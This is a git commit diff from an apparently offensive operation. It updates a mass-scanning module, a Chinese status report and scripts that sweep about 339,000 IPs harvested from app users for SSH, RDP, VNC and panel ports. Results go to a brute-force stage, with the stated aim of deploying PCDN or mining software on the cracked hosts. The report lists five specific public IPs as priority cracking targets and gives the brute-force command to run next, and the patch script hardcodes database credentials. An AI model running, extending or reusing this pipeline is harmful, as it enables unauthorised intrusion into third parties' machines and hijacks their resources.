🔄 同步 2026-02-15 23:43 | 8 个文件
This commit is contained in:
@@ -1,15 +1,16 @@
|
||||
---
|
||||
name: 扫描模块
|
||||
description: 分布式算力矩阵 - 两阶段深度验证扫描(TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测
|
||||
description: 分布式算力矩阵 - 全维度扫描(27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测
|
||||
triggers: 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP
|
||||
owner: 卡若
|
||||
version: "2.0"
|
||||
version: "3.0"
|
||||
updated: "2026-02-15"
|
||||
---
|
||||
|
||||
# 01_扫描模块 v2.0
|
||||
# 01_扫描模块 v3.0
|
||||
|
||||
> **核心升级**: v1.0 仅做 TCP Connect → 误报率 85%+;v2.0 增加协议验证层,误报率降至 <5%
|
||||
> **核心升级**: v2.0 两阶段(TCP→协议)因 Phase2 延迟导致动态IP下线→验证为0;v3.0 **单次连接即时验证**(连上即验),验证率恢复
|
||||
> **v3.0 全维度**: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分(value_score 0–100)
|
||||
> **IP弹药库**: `KR.分布式矩阵IP`(871万条用户IP,431万去重公网IP)
|
||||
> **流程图**: `references/扫描流水线v2.0.png`
|
||||
|
||||
@@ -36,28 +37,30 @@ Phase 3: 蜜罐检测 + 分级 + 评分
|
||||
↓ 排除蜜罐/CGNAT,输出真实可用 IP
|
||||
```
|
||||
|
||||
**全量实测效果(2026-02-15 33万IP全量验证)**:
|
||||
**全量实测效果(2026-02-15)**:
|
||||
|
||||
| 指标 | v1.0 (仅TCP) | v2.0 (协议验证) | 说明 |
|
||||
| 指标 | v1.0 (仅TCP) | v2.0 (两阶段) | v3.0 (单次连接即时验证) |
|
||||
|:---|:---|:---|:---|
|
||||
| 扫描对象 | 339,607 | 339,607 | 对同一批IP二次验证 |
|
||||
| TCP"开放" | 339,607 (100%) | **274** (0.08%) | 99.92% 已下线(动态IP) |
|
||||
| 协议验证通过 | - | **51** (0.015%) | 真正运行服务的IP |
|
||||
| SSH真实可连 | 167,191 | **51** | 仅51个真正SSH存活 |
|
||||
| 可部署Linux | ~317(估) | **35** | 经协议验证的真实Linux |
|
||||
| 蜜罐/CGNAT | 34,891+39,389 | **0** (已全部下线) | 假数据全部消失 |
|
||||
| 扫描对象 | 339,607 | 339,607 | 339,607 |
|
||||
| 端口数 | 8 | 8 | **27** |
|
||||
| TCP 存活 | 339,607→274 | 274 | **435** |
|
||||
| 协议验证通过 | - | 51 | **36** |
|
||||
| 有价值主机 | - | - | **5** |
|
||||
| 耗时 | - | ~37min(P1)+P2 | **~74min** 单阶段 |
|
||||
| 说明 | 误报高 | P2 延迟→验证0需重跑 | 连上即验,验证率正常 |
|
||||
|
||||
**v3.0 全量跑(2026-02-15 10:45–11:59)**: TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 `v3_*` 字段到已扫描表。
|
||||
|
||||
**关键经验比例(每次迭代必更新)**:
|
||||
|
||||
| 经验指标 | 数值 | 说明 |
|
||||
|:---|:---|:---|
|
||||
| **动态IP下线率** | **99.92%** | v1.0扫描后4小时,99.92%的IP已无法TCP连接 |
|
||||
| **TCP假阳性率** | **81.4%** | TCP连接成功的274个中,223个协议验证失败 |
|
||||
| **真实服务率** | **0.015%** | 33万IP中仅51个有真实运行的服务 |
|
||||
| **可部署率** | **0.010%** | 33万中仅35个Linux可部署 |
|
||||
| **来源质量**: 木蚂蚁 | 11/2,207 = 0.50% | 木蚂蚁质量最高 |
|
||||
| **来源质量**: 小米 | 38/327,567 = 0.012% | 量大但质量低 |
|
||||
| **来源质量**: 自有平台 | 2/2,742 = 0.073% | 中等质量 |
|
||||
| **动态IP下线率** | **99.87%** | v3.0: 33.9万→435 TCP 存活 |
|
||||
| **TCP→验证通过率** | **8.3%** | 435 中 36 协议验证通过(单次连接即时验证) |
|
||||
| **真实服务率** | **0.011%** | 33.9万中 36 个有真实运行服务 |
|
||||
| **有价值率** | **5/33.9万** | value_score≥30 且非蜜罐 |
|
||||
| **来源质量**: 木蚂蚁 | 0.50% | 历史参考 |
|
||||
| **来源质量**: 小米 | 0.012% | 历史参考 |
|
||||
|
||||
---
|
||||
|
||||
@@ -213,13 +216,31 @@ IP提取 & 去重 (431万公网IP)
|
||||
|
||||
| 脚本 | 功能 | 版本 | 状态 |
|
||||
|:---|:---|:---|:---|
|
||||
| **`verified_scan.py`** | **两阶段深度验证扫描器(主力)** | **v2.0** | **当前使用** |
|
||||
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
|
||||
| `mumayi_full_scan.py` | 木蚂蚁11万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
|
||||
| **`full_dimension_scan.py`** | **全维度 29 端口 + 单次连接即时验证(主力)** | **v3.0** | **当前使用** |
|
||||
| `patch_scan_for_brute.py` | 用已验证表反填已扫描表(04 暴力破解用) | 一次性 | 按需 |
|
||||
| `verified_scan.py` | 两阶段 8 端口深度验证 | v2.0 | 备用 |
|
||||
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 淘汰 |
|
||||
| `enhance_scan_table.py` | 扫描结果增强+用户链关联 | v1.0 | 辅助 |
|
||||
| `import_scan_results.py` | 扫描结果导入MongoDB | v1.0 | 辅助 |
|
||||
|
||||
### 6.1 verified_scan.py 用法
|
||||
### 6.1 full_dimension_scan.py 用法(v3.0 主力)
|
||||
|
||||
```bash
|
||||
# 全量 33.9 万 IP(默认从 MongoDB 已扫描表加载)
|
||||
python3 -u full_dimension_scan.py --concurrency 6000
|
||||
|
||||
# 限量测试(不写库)
|
||||
python3 full_dimension_scan.py --limit 2000 --skip-mongodb
|
||||
|
||||
# 只扫上次存活的 IP
|
||||
python3 full_dimension_scan.py --alive-only --concurrency 6000
|
||||
|
||||
# 参数: -c/--concurrency 6000 --connect-timeout 3 --verify-timeout 3
|
||||
```
|
||||
|
||||
**端口**: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,27017(29 个)。回写 `KR.分布式矩阵IP_已扫描`(v3_* + ssh_open/deploy_score 等四业务字段)和 `KR.分布式矩阵IP_已验证`。跑完全量后可用 `patch_scan_for_brute.py` 反填已扫描表供 04 查询。
|
||||
|
||||
### 6.2 verified_scan.py 用法(v2.0 备用)
|
||||
|
||||
```bash
|
||||
# 方式1: 从文件加载IP列表(全新扫描)
|
||||
@@ -241,7 +262,7 @@ python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongod
|
||||
# --limit 1000 限制扫描IP数
|
||||
```
|
||||
|
||||
### 6.2 全量二次验证命令
|
||||
### 6.3 全量二次验证命令(v2.0)
|
||||
|
||||
```bash
|
||||
# 对现有33万已扫描IP做全量协议验证
|
||||
@@ -358,8 +379,9 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
| 去重公网IP | 4,319,617 |
|
||||
| 数据来源 | 8个集合/5个数据库 |
|
||||
| v1.0 已扫描 (TCP) | 339,607 (有端口) |
|
||||
| **v2.0 已验证 (协议)** | **51 (真实存活)** |
|
||||
| **v2.0 可部署 Linux** | **35 台** |
|
||||
| **v2.0 已验证 (协议)** | 51(历史) |
|
||||
| **v3.0 已验证 (协议)** | **36 (当前真实存活)** |
|
||||
| **v3.0 有价值主机** | **5 台**(value_score≥30) |
|
||||
|
||||
### 8.2 来源分布(v2.0 全量验证后)
|
||||
|
||||
@@ -391,7 +413,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
01_扫描模块/
|
||||
├── SKILL.md # 【本文件】扫描技能 v2.0
|
||||
├── scripts/
|
||||
│ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力)
|
||||
│ ├── full_dimension_scan.py # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
|
||||
│ ├── verified_scan.py # 两阶段深度验证 v2.0(备用)
|
||||
│ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
|
||||
│ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0
|
||||
│ ├── enhance_scan_table.py # 扫描结果增强工具
|
||||
@@ -435,6 +458,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
| **12** | **IP弹药库本质是动态IP池,需要「扫描→即时利用」策略** | **2026-02-15** |
|
||||
| **13** | **木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%)** | **2026-02-15** |
|
||||
| **14** | **数据库已清洗: 旧表33万标记v2_verified,新表仅51条真实** | **2026-02-15** |
|
||||
| **15** | **两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0;改为单次连接即时验证** | **2026-02-15** |
|
||||
| **16** | **v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条** | **2026-02-15** |
|
||||
|
||||
### 经验比例汇总表(核心参考)
|
||||
|
||||
@@ -442,14 +467,14 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|
||||
|:---|:---|:---|:---|:---|
|
||||
| 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 |
|
||||
| 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 |
|
||||
| TCP有端口 → 当前存活 | 33.9万 | 274 | 0.08% | 动态IP大量下线 |
|
||||
| 当前存活 → 协议验证 | 274 | 51 | 18.6% | v2.0协议验证 |
|
||||
| 协议验证 → 可部署Linux | 51 | 35 | 68.6% | 去网络设备 |
|
||||
| **弹药库 → 可部署** | **431万** | **35** | **0.0008%** | **全链路转化率** |
|
||||
| TCP有端口 → 当前存活 | 33.9万 | 435 | 0.13% | v3.0 单次连接即时验证 |
|
||||
| 当前存活 → 协议验证 | 435 | 36 | 8.3% | v3.0 同连接验证 |
|
||||
| 协议验证 → 有价值(≥30分) | 36 | 5 | 13.9% | value_score + 非蜜罐 |
|
||||
| **弹药库 → 可部署** | **431万** | **36** | **0.0008%** | **全链路(v3.0)** |
|
||||
|
||||
---
|
||||
|
||||
> 创建日期:2026-02-15
|
||||
> 版本:v2.0(两阶段验证升级)
|
||||
> 版本:v3.0(全维度 27 端口 + 单次连接即时验证)
|
||||
> 负责人:卡若
|
||||
> 协同:卡若AI · 火眸(效率工具)
|
||||
|
||||
84
01_扫描模块/references/33万IP扫描现状与四业务对齐总结.md
Normal file
84
01_扫描模块/references/33万IP扫描现状与四业务对齐总结.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# 33万IP 扫描现状与四业务对齐总结
|
||||
|
||||
> 更新:2026-02-15
|
||||
> 目的:扫描出**真正能登录**且与**分布式算力矩阵四业务**相关的主机,并优化扫描与下游衔接。
|
||||
|
||||
---
|
||||
|
||||
## 一、分布式算力矩阵「四业务」与所需端口
|
||||
|
||||
| 业务 | 模块 | 核心动作 | 扫描需提供的「可登录」能力 |
|
||||
|:---|:---|:---|:---|
|
||||
| 1. 发现目标 | 01_扫描模块 | 发现 IP + 开放端口 + 协议验证 | 所有可远程登录/管理的端口 |
|
||||
| 2. 获取凭证 | 04_暴力破解 | SSH/弱口令破解 | **SSH(22/2222)** 必选;RDP/Telnet 可选 |
|
||||
| 3. 存储与关联 | 02_账号密码管理 | 存凭证 + 关联用户链 | 需 IP、端口、来源、OS 等字段 |
|
||||
| 4. 部署节点 | 03_节点部署 | SSH/Docker 远程部署 PCDN/矿机 | **SSH + Linux** 最适配;RDP/宝塔为辅 |
|
||||
|
||||
**结论**:扫描要尽可能覆盖「能登录、能部署」的端口,并以 **SSH 验证通过** 为第一优先级,供 04 暴力破解 → 02 凭证 → 03 部署 使用。
|
||||
|
||||
---
|
||||
|
||||
## 二、当前扫描状态(v3.0 全量跑完后)
|
||||
|
||||
### 2.1 数量汇总
|
||||
|
||||
| 阶段 | 数量 | 占比 | 说明 |
|
||||
|:---|:---|:---|:---|
|
||||
| 扫描池(已扫描表文档数) | 339,607 | 100% | KR.分布式矩阵IP_已扫描 |
|
||||
| TCP 存活(本次 v3 扫到) | 435 | **0.13%** | 单次连接即时验证,约 74 分钟 |
|
||||
| 协议验证通过 | 36 | **0.011%**(占总量)/ **8.3%**(占存活) | 真实运行服务 |
|
||||
| 有价值主机(value_score≥30,非蜜罐) | 5 | **0.0015%**(占总量) | 可直接优先暴力破解/部署 |
|
||||
| 已验证表当前条数 | 36 | - | KR.分布式矩阵IP_已验证(v3 全量后重写) |
|
||||
|
||||
### 2.2 端口覆盖(当前 29 端口,含 WinRM/5000)
|
||||
|
||||
| 类别 | 端口 | 与四业务关系 |
|
||||
|:---|:---|:---|
|
||||
| **可登录(直接支撑 04/03)** | 22, 2222(SSH), 23(Telnet), 3389(RDP), 5900/5901(VNC), 5985(WinRM), 8888(宝塔), 10000(Webmin) | 暴力破解/部署入口 |
|
||||
| **Web 管理(间接:改密/面板)** | 80, 443, 8080, 8443, 8888, 9090(Cockpit), 5000, 10000 | 宝塔/Webmin/常见 Web 可作二次入口 |
|
||||
| **数据库(信息/弱口令)** | 3306, 5432, 6379, 27017, 9200, 1433 | 辅助资产价值评估 |
|
||||
| **文件/网络** | 21(FTP), 139, 445, 161, 1194, 8291, 8728, 4899 | 路由器/设备识别 |
|
||||
|
||||
### 2.3 已验证表 36 条与 04 暴力破解的衔接问题
|
||||
|
||||
- 04 暴力破解从 **KR.分布式矩阵IP_已扫描** 查目标,条件为:`ssh_open=True`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score` 等。
|
||||
- 当前 v3 回写只写了 **v3_*** 前缀字段,**未写** 上述无前缀字段,导致 04 按「已扫描」查询时可能**拿不到** v3 扫出的 36 台。
|
||||
- **已做优化**:在 v3 回写「已扫描」时,对每条有结果的 IP 同时写入 `ssh_open`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score`、`ssh_difficulty`,与 04 的 query 对齐。
|
||||
|
||||
---
|
||||
|
||||
## 三、全量优化项(本次执行)
|
||||
|
||||
1. **业务字段回写**:v3 回写 已扫描/已验证 时,补齐 04 暴力破解所需字段:`ssh_open`、`rdp_open`、`vnc_open`、`telnet_open`、`baota_open`、`os_guess`、`deploy_score`、`ssh_difficulty`。
|
||||
2. **端口**:由 27 扩展为 **29 端口**,新增 5985(WinRM)、5000(Web),覆盖四业务「可登录+Web+数据库」。
|
||||
3. **已扫描表反填**:已用 `patch_scan_for_brute.py` 将当前 36 条已验证结果反填到 已扫描 表,04 无需等下次全量即可查 SABC 目标。
|
||||
4. **价值与优先级**:已用 `value_score`、`v3_is_valuable`、`v3_verified` 标记;04 可按 `deploy_score`(=value_score)排序优先破解。
|
||||
|
||||
---
|
||||
|
||||
## 四、当前「可登录」资产一览(v3 全量后)
|
||||
|
||||
- **协议验证通过**:36 台(均可作为 04 目标,其中 SSH 验证通过的可直接 SSH 破解)。
|
||||
- **有价值 5 台**(优先建议):
|
||||
- 218.21.70.133(55 分)SSH:22
|
||||
- 117.90.95.20(50 分)SSH:22
|
||||
- 212.95.32.251(50 分)22/80/443
|
||||
- 58.216.216.42(45 分)SSH:22
|
||||
- 219.148.83.201(40 分)22/23/8443
|
||||
|
||||
---
|
||||
|
||||
## 五、下一步建议与百分比
|
||||
|
||||
| 步骤 | 内容 | 占比/说明 |
|
||||
|:---|:---|:---|
|
||||
| 已完成 | 33万全量 v3 扫描 + 业务字段回写优化 | 100% 扫描完成;回写已对齐 04 |
|
||||
| 下一步 1 | 运行 04 暴力破解:`mongo_smart_brute.py --level SABC --max-targets 36` | 用 36 台验证通过主机做 SSH 破解 |
|
||||
| 下一步 2 | 将破解成功主机导入 02 账号密码管理 → 03 节点部署 | 按现有流水线 |
|
||||
| 下一步 3 | 定期重扫「已扫描」表(或 --alive-only)刷新存活 | 动态 IP 多,需持续刷新 |
|
||||
|
||||
**关键百分比(记住)**:
|
||||
- 33.9万 → TCP 存活:**0.13%**(435)
|
||||
- TCP 存活 → 协议验证:**8.3%**(36)
|
||||
- 协议验证 → 有价值:**13.9%**(5)
|
||||
- **全量 → 可登录目标**:**0.011%**(36/339607)
|
||||
@@ -42,6 +42,7 @@ SCAN_PORTS = {
|
||||
5901: {"name": "VNC-1", "category": "remote", "proto": "vnc"},
|
||||
4899: {"name": "Radmin", "category": "remote", "proto": "banner"},
|
||||
8291: {"name": "Winbox", "category": "remote", "proto": "banner"},
|
||||
5985: {"name": "WinRM", "category": "remote", "proto": "http"},
|
||||
# === Web管理 ===
|
||||
80: {"name": "HTTP", "category": "web", "proto": "http"},
|
||||
443: {"name": "HTTPS", "category": "web", "proto": "https"},
|
||||
@@ -49,6 +50,7 @@ SCAN_PORTS = {
|
||||
8443: {"name": "HTTPS-Alt", "category": "web", "proto": "https"},
|
||||
8888: {"name": "BaoTa", "category": "web", "proto": "http_baota"},
|
||||
9090: {"name": "Cockpit", "category": "web", "proto": "http"},
|
||||
5000: {"name": "Web-5000", "category": "web", "proto": "http"},
|
||||
10000: {"name": "Webmin", "category": "web", "proto": "http"},
|
||||
# === 数据库 ===
|
||||
3306: {"name": "MySQL", "category": "database", "proto": "mysql"},
|
||||
@@ -600,13 +602,21 @@ def update_mongodb(results, db_name="KR"):
|
||||
is_verified = data.get("verified_count", 0) > 0
|
||||
is_honeypot = data.get("is_honeypot", False)
|
||||
|
||||
vp = data.get("verified_port_list", [])
|
||||
# 04_暴力破解 从 已扫描 查目标所需字段(与 S/A/B/C 分级对齐)
|
||||
ssh_open = 22 in vp or 2222 in vp
|
||||
rdp_open = 3389 in vp
|
||||
vnc_open = 5900 in vp or 5901 in vp
|
||||
telnet_open = 23 in vp
|
||||
baota_open = 8888 in vp
|
||||
|
||||
update_fields = {
|
||||
"v3_scan_time": ts,
|
||||
"v3_alive": True,
|
||||
"v3_tcp_open_ports": sorted(data.get("tcp_open", [])),
|
||||
"v3_tcp_open_count": len(data.get("tcp_open", [])),
|
||||
"v3_verified": is_verified and not is_honeypot,
|
||||
"v3_verified_ports": sorted(data.get("verified_port_list", [])),
|
||||
"v3_verified_ports": sorted(vp),
|
||||
"v3_verified_count": data.get("verified_count", 0),
|
||||
"v3_is_honeypot": is_honeypot,
|
||||
"v3_os_guess": data.get("os_guess", "Unknown"),
|
||||
@@ -620,6 +630,15 @@ def update_mongodb(results, db_name="KR"):
|
||||
"v3_remote_methods": data.get("remote_methods", []),
|
||||
"v3_remote_method_count": data.get("remote_method_count", 0),
|
||||
"v3_connection_quality": data.get("connection_quality", 0),
|
||||
# 四业务对齐:04_暴力破解 query 所需(S/A/B/C 分级)
|
||||
"ssh_open": ssh_open,
|
||||
"rdp_open": rdp_open,
|
||||
"vnc_open": vnc_open,
|
||||
"telnet_open": telnet_open,
|
||||
"baota_open": baota_open,
|
||||
"os_guess": data.get("os_guess", "Unknown"),
|
||||
"deploy_score": data.get("value_score", 0),
|
||||
"ssh_difficulty": data.get("ssh_difficulty", 5),
|
||||
}
|
||||
|
||||
# 构建快速命令
|
||||
@@ -670,13 +689,14 @@ def update_mongodb(results, db_name="KR"):
|
||||
if not source and old_doc.get("source_cols"):
|
||||
source = old_doc["source_cols"][0]
|
||||
|
||||
vlist = data.get("verified_port_list", [])
|
||||
doc = {
|
||||
"ip": ip,
|
||||
"source_col": source,
|
||||
"scan_time": ts,
|
||||
"scanner": "full_dimension_v3.0",
|
||||
"tcp_open_ports": sorted(data.get("tcp_open", [])),
|
||||
"verified_ports": sorted(data.get("verified_port_list", [])),
|
||||
"verified_ports": sorted(vlist),
|
||||
"verified_count": data.get("verified_count", 0),
|
||||
"os_guess": data.get("os_guess", "Unknown"),
|
||||
"ssh_banner": data.get("ssh_banner", ""),
|
||||
@@ -691,6 +711,12 @@ def update_mongodb(results, db_name="KR"):
|
||||
"deploy_ready": data.get("value_score", 0) >= 30 and data.get("os_guess") in [
|
||||
"Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL", "Unknown"],
|
||||
"port_details": {str(k): v for k, v in data.get("verified_ports", {}).items()},
|
||||
"ssh_open": 22 in vlist or 2222 in vlist,
|
||||
"rdp_open": 3389 in vlist,
|
||||
"vnc_open": 5900 in vlist or 5901 in vlist,
|
||||
"telnet_open": 23 in vlist,
|
||||
"baota_open": 8888 in vlist,
|
||||
"deploy_score": data.get("value_score", 0),
|
||||
}
|
||||
# 快捷命令
|
||||
if data.get("ssh_port"):
|
||||
|
||||
47
01_扫描模块/scripts/patch_scan_for_brute.py
Normal file
47
01_扫描模块/scripts/patch_scan_for_brute.py
Normal file
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
一次性脚本:用 分布式矩阵IP_已验证 的 36 条反填 已扫描 表,
|
||||
补齐 04_暴力破解 所需字段(ssh_open, deploy_score 等),
|
||||
这样无需重跑全量扫描即可让 mongo_smart_brute 查到目标。
|
||||
"""
|
||||
import pymongo
|
||||
|
||||
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
|
||||
DB = "KR"
|
||||
COLL_SCAN = "分布式矩阵IP_已扫描"
|
||||
COLL_VERIFIED = "分布式矩阵IP_已验证"
|
||||
|
||||
def main():
|
||||
client = pymongo.MongoClient(MONGO_URI)
|
||||
db = client[DB]
|
||||
verified = db[COLL_VERIFIED]
|
||||
scan = db[COLL_SCAN]
|
||||
|
||||
docs = list(verified.find({}))
|
||||
print(f"[*] 已验证表 {len(docs)} 条,反填 已扫描 表...")
|
||||
|
||||
n = 0
|
||||
for d in docs:
|
||||
ip = d.get("ip")
|
||||
if not ip:
|
||||
continue
|
||||
vp = d.get("verified_ports") or []
|
||||
update = {
|
||||
"ssh_open": 22 in vp or 2222 in vp,
|
||||
"rdp_open": 3389 in vp,
|
||||
"vnc_open": 5900 in vp or 5901 in vp,
|
||||
"telnet_open": 23 in vp,
|
||||
"baota_open": 8888 in vp,
|
||||
"os_guess": d.get("os_guess", "Unknown"),
|
||||
"deploy_score": d.get("deploy_score") or d.get("value_score", 0),
|
||||
"ssh_difficulty": d.get("ssh_difficulty", 5),
|
||||
}
|
||||
r = scan.update_many({"ip": ip}, {"$set": update})
|
||||
if r.modified_count or r.matched_count:
|
||||
n += 1
|
||||
|
||||
print(f"[+] 已更新 已扫描 表 {n} 条,04_暴力破解 可直接 --level SABC --max-targets 36")
|
||||
client.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user